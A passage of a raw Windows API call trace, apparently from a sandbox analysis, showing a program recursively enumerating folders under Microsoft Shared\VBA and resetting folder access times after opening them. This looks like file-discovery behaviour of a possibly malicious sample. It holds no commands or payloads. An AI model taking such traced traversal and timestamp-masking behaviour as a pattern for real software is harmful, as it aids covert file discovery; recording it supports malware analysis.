Shared\\Triedit\\en-US\\*", fInfoLevelId=0x1, lpFindFileData=0x174ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x174ec9c) returned 0x60d160 [0064.305] FindClose (in: hFindFile=0x60d220 | out: hFindFile=0x60d220) returned 1 [0064.305] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23ef19fc, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0064.306] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23ef19fc, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0064.306] GetLastError () returned 0x12 [0064.306] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dc78) returned 1 [0064.306] FindClose (in: hFindFile=0x60d160 | out: hFindFile=0x60d160) returned 1 [0064.306] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dd00) returned 1 [0064.306] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9ca68) returned 1 [0064.306] FindNextFileW (in: hFindFile=0x60d1e0, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23ef19fc, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 0 [0064.306] GetLastError () returned 0x12 [0064.306] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dbf0) returned 1 [0064.306] FindClose (in: hFindFile=0x60d1e0 | out: hFindFile=0x60d1e0) returned 1 [0064.306] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c628) returned 1 [0064.306] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c490) returned 1 [0064.306] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174f20c | out: lpFindFileData=0x174f20c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeedaa970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeedaa970, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeedaa970, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="VBA", cAlternateFileName="")) returned 1 [0064.306] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c490 [0064.306] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA" (normalized: "c:\\program files\\common files\\microsoft shared\\vba"), fInfoLevelId=0x0, lpFileInformation=0x174f108 | out: lpFileInformation=0x174f108*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeedaa970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeedaa970, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeedaa970, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0064.316] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA" (normalized: "c:\\program files\\common files\\microsoft shared\\vba"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x18c [0064.316] SetFileTime (hFile=0x18c, lpCreationTime=0x0, lpLastAccessTime=0x174f14c, lpLastWriteTime=0x174f14c) returned 0 [0064.316] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x4000) returned 0xfb4d10 [0064.316] DeviceIoControl (in: hDevice=0x18c, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0xfb4d10, nOutBufferSize=0x4000, lpBytesReturned=0x174f1a4, lpOverlapped=0x0 | out: lpOutBuffer=0xfb4d10, lpBytesReturned=0x174f1a4, lpOverlapped=0x0) returned 0 [0064.316] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb4d10) returned 1 [0064.316] NtClose (Handle=0x18c) returned 0x0 [0064.317] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c490) returned 1 [0064.317] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c490 [0064.317] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c628 [0064.317] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dbf0 [0064.317] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\*", fInfoLevelId=0x1, lpFindFileData=0x174ef54, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x174ef54) returned 0x60d1e0 [0064.317] FindNextFileW (in: hFindFile=0x60d1e0, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeedaa970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeedaa970, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeedaa970, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0064.317] FindNextFileW (in: hFindFile=0x60d1e0, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeedaa970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xe22f4b00, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xe22f4b00, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="VBA7", cAlternateFileName="")) returned 1 [0064.317] FindNextFileW (in: hFindFile=0x60d1e0, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeedaa970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xe22f4b00, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xe22f4b00, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="VBA7", cAlternateFileName="")) returned 0 [0064.317] GetLastError () returned 0x12 [0064.317] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\*", fInfoLevelId=0x1, lpFindFileData=0x174ef54, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x174ef54) returned 0x60d160 [0064.317] FindClose (in: hFindFile=0x60d1e0 | out: hFindFile=0x60d1e0) returned 1 [0064.317] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeedaa970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeedaa970, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeedaa970, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0064.317] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeedaa970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xe22f4b00, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xe22f4b00, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="VBA7", cAlternateFileName="")) returned 1 [0064.317] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9ca68 [0064.317] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7"), fInfoLevelId=0x0, lpFileInformation=0x174ee50 | out: lpFileInformation=0x174ee50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeedaa970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xe22f4b00, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xe22f4b00, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0064.317] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x18c [0064.318] SetFileTime (hFile=0x18c, lpCreationTime=0x0, lpLastAccessTime=0x174ee94, lpLastWriteTime=0x174ee94) returned 0 [0064.318] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x4000) returned 0xfb4d10 [0064.318] DeviceIoControl (in: hDevice=0x18c, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0xfb4d10, nOutBufferSize=0x4000, lpBytesReturned=0x174eeec, lpOverlapped=0x0 | out: lpOutBuffer=0xfb4d10, lpBytesReturned=0x174eeec, lpOverlapped=0x0) returned 0 [0064.318] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb4d10) returned 1 [0064.318] NtClose (Handle=0x18c) returned 0x0 [0064.318] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9ca68) returned 1 [0064.318] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9ca68 [0064.318] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dd00 [0064.318] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dc78 [0064.318] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\*", fInfoLevelId=0x1, lpFindFileData=0x174ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x174ec9c) returned 0x60d1e0 [0064.318] FindNextFileW (in: hFindFile=0x60d1e0, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeedaa970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xe22f4b00, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xe22f4b00, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0064.318] FindNextFileW (in: hFindFile=0x60d1e0, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeedaa970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xc25685a0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xc25685a0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1033", cAlternateFileName="")) returned 1 [0064.318] FindNextFileW (in: hFindFile=0x60d1e0, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x56d3ae00, ftCreationTime.dwHighDateTime=0x1cbc41d, ftLastAccessTime.dwLowDateTime=0xe2340dc0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x56d3ae00, ftLastWriteTime.dwHighDateTime=0x1cbc41d, nFileSizeHigh=0x0, nFileSizeLow=0x381748, dwReserved0=0x0, dwReserved1=0x0, cFileName="VBE7.DLL", cAlternateFileName="")) returned 1 [0064.318] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c5a0 [0064.318] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c5a0) returned 1 [0064.318] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c5a0 [0064.318] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c5a0) returned 1 [0064.318] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c5a0 [0064.318] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c5a0) returned 1 [0064.318] FindNextFileW (in: hFindFile=0x60d1e0, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x56d3ae00, ftCreationTime.dwHighDateTime=0x1cbc41d, ftLastAccessTime.dwLowDateTime=0xe2340dc0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x56d3ae00, ftLastWriteTime.dwHighDateTime=0x1cbc41d, nFileSizeHigh=0x0, nFileSizeLow=0x381748, dwReserved0=0x0, dwReserved1=0x0, cFileName="VBE7.DLL", cAlternateFileName="")) returned 0 [0064.318] GetLastError () returned 0x12 [0064.319] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\*", fInfoLevelId=0x1, lpFindFileData=0x174ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x174ec9c) returned 0x60d220 [0064.319] FindClose (in: hFindFile=0x60d1e0 | out: hFindFile=0x60d1e0) returned 1 [0064.319] FindNextFileW (in: hFindFile=0x60d220, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeedaa970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xe22f4b00, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xe22f4b00, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0064.319] FindNextFileW (in: hFindFile=0x60d220, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeedaa970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xc25685a0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xc25685a0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1033", cAlternateFileName="")) returned 1 [0064.319] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c5a0 [0064.319] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7\\1033"), fInfoLevelId=0x0, lpFileInformation=0x174eb98 | out: lpFileInformation=0x174eb98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeedaa970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xc25685a0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xc25685a0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0064.319] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7\\1033"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x18c [0064.319] SetFileTime (hFile=0x18c, lpCreationTime=0x0, lpLastAccessTime=0x174ebdc, lpLastWriteTime=0x174ebdc) returned 0 [0064.319] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x4000) returned 0xfb4d10 [0064.319] DeviceIoControl (in: hDevice=0x18c, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0xfb4d10, nOutBufferSize=0x4000, lpBytesReturned=0x174ec34, lpOverlapped=0x0 | out: lpOutBuffer=0xfb4d10, lpBytesReturned=0x174ec34, lpOverlapped=0x0) returned 0 [0064.319] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb4d10) returned 1 [0064.319] NtClose (Handle=0x18c) returned 0x0 [0064.319] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c5a0) returned 1 [0064.319] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c5a0 [0064.319] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9db68 [0064.319] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dd88 [0064.319] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\*", fInfoLevelId=0x1, lpFindFileData=0x174e9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x174e9e4) returned 0x60d1e0 [0064.323] FindNextFileW (in: hFindFile=0x60d1e0, lpFindFileData=0x174e9e4 | out: lpFindFileData=0x174e9e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeedaa970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xc25685a0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xc25685a0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0064.323] FindNextFileW (in: hFindFile=0x60d1e0, lpFindFileData=0x174e9e4 | out: lpFindFileData=0x174e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1574f00, ftCreationTime.dwHighDateTime=0x1be23e3, ftLastAccessTime.dwLowDateTime=0xeedaa970, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x1574f00, ftLastWriteTime.dwHighDateTime=0x1be23e3, nFileSizeHigh=0x0, nFileSizeLow=0x51a5b, dwReserved0=0x0, dwReserved1=0x0, cFileName="FM20.CHM", cAlternateFileName="")) returned 1 [0064.323] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb4d28 [0064.323] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb4d28) returned 1 [0064.323] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb4d28 [0064.323] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb4d28) returned 1 [0064.323] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb4d28 [0064.323] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xf9ead8 [0064.324] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9db68) returned 1 [0064.324] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xfb3d40 [0064.324] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xfb26f8 [0064.324] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb4d28) returned 1 [0064.324] FindNextFileW (in: hFindFile=0x60d1e0, lpFindFileData=0x174e9e4 | out: lpFindFileData=0x174e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6edd8500, ftCreationTime.dwHighDateTime=0x1c685f9, ftLastAccessTime.dwLowDateTime=0xef07e390, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x6edd8500, ftLastWriteTime.dwHighDateTime=0x1c685f9, nFileSizeHigh=0x0, nFileSizeLow=0x1ac96, dwReserved0=0x0, dwReserved1=0x0, cFileName="VBCN6.CHM", cAlternateFileName="")) returned 1 [0064.324] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9db68 [0064.324] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9db68) returned 1 [0064.324] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9db68 [0064.324] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9db68) returned 1 [0064.324] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9db68 [0064.324] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xfb3d60 [0064.324] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xfb3040 [0064.324] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9db68) returned 1 [0064.324] FindNextFileW (in: hFindFile=0x60d1e0, lpFindFileData=0x174e9e4 | out: lpFindFileData=0x174e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5f2be900, ftCreationTime.dwHighDateTime=0x1cbc41d, ftLastAccessTime.dwLowDateTime=0xc25685a0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x5f2be900, ftLastWriteTime.dwHighDateTime=0x1cbc41d, nFileSizeHigh=0x0, nFileSizeLow=0x25d50, dwReserved0=0x0, dwReserved1=0x0, cFileName="VBE7INTL.DLL", cAlternateFileName="")) returned 1 [0064.324] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9db68 [0064.324] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9db68) returned 1 [0064.324] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9db68 [0064.324] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9db68) returned 1 [0064.324] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9db68 [0064.324] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9db68) returned 1 [0064.324] FindNextFileW (in: hFindFile=0x60d1e0, lpFindFileData=0x174e9e4 | out: lpFindFileData=0x174e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d2ba100, ftCreationTime.dwHighDateTime=0x1c685f9, ftLastAccessTime.dwLowDateTime=0xef07e390, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x7d2ba100, ftLastWriteTime.dwHighDateTime=0x1c685f9, nFileSizeHigh=0x0, nFileSizeLow=0x1195f, dwReserved0=0x0, dwReserved1=0x0, cFileName="VBENDF98.CHM", cAlternateFileName="")) returned 1 [0064.324] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9db68 [0064.324] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9db68) returned 1 [0064.324] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9db68 [0064.324] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9db68) returned 1 [0064.324] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9db68 [0064.324] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xfb3d80 [0064.324] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xfb3148 [0064.325] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9db68) returned 1 [0064.325] FindNextFileW (in: hFindFile=0x60d1e0, lpFindFileData=0x174e9e4 | out: lpFindFileData=0x174e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8583dc00, ftCreationTime.dwHighDateTime=0x1c685f9, ftLastAccessTime.dwLowDateTime=0xef07e390, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x8583dc00, ftLastWriteTime.dwHighDateTime=0x1c685f9, nFileSizeHigh=0x0, nFileSizeLow=0xe2aa, dwReserved0=0x0, dwReserved1=0x0, cFileName="VBHW6.CHM", cAlternateFileName="")) returned 1 [0064.325] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9db68 [0064.325] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9db68) returned 1 [0064.325] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9db68 [0064.325] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9db68) returned 1 [0064.325] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9db68 [0064.325] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xfb3da0 [0064.325] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xfb3250 [0064.325] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9db68) returned 1 [0064.325] FindNextFileW (in: hFindFile=0x60d1e0, lpFindFileData=0x174e9e4 | out: lpFindFileData=0x174e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x903e7100, ftCreationTime.dwHighDateTime=0x1c685f9, ftLastAccessTime.dwLowDateTime=0xef07e390, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x903e7100, ftLastWriteTime.dwHighDateTime=0x1c685f9, nFileSizeHigh=0x0, nFileSizeLow=0xe6b62, dwReserved0=0x0, dwReserved1=0x0, cFileName="VBLR6.CHM", cAlternateFileName="")) returned 1 [0064.325] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9db68 [0064.325] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9db68) returned 1 [0064.325] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9db68 [0064.325] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9db68) returned 1 [0064.325] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9db68 [0064.325] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xfb3dc0 [0064.325] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xfb3358 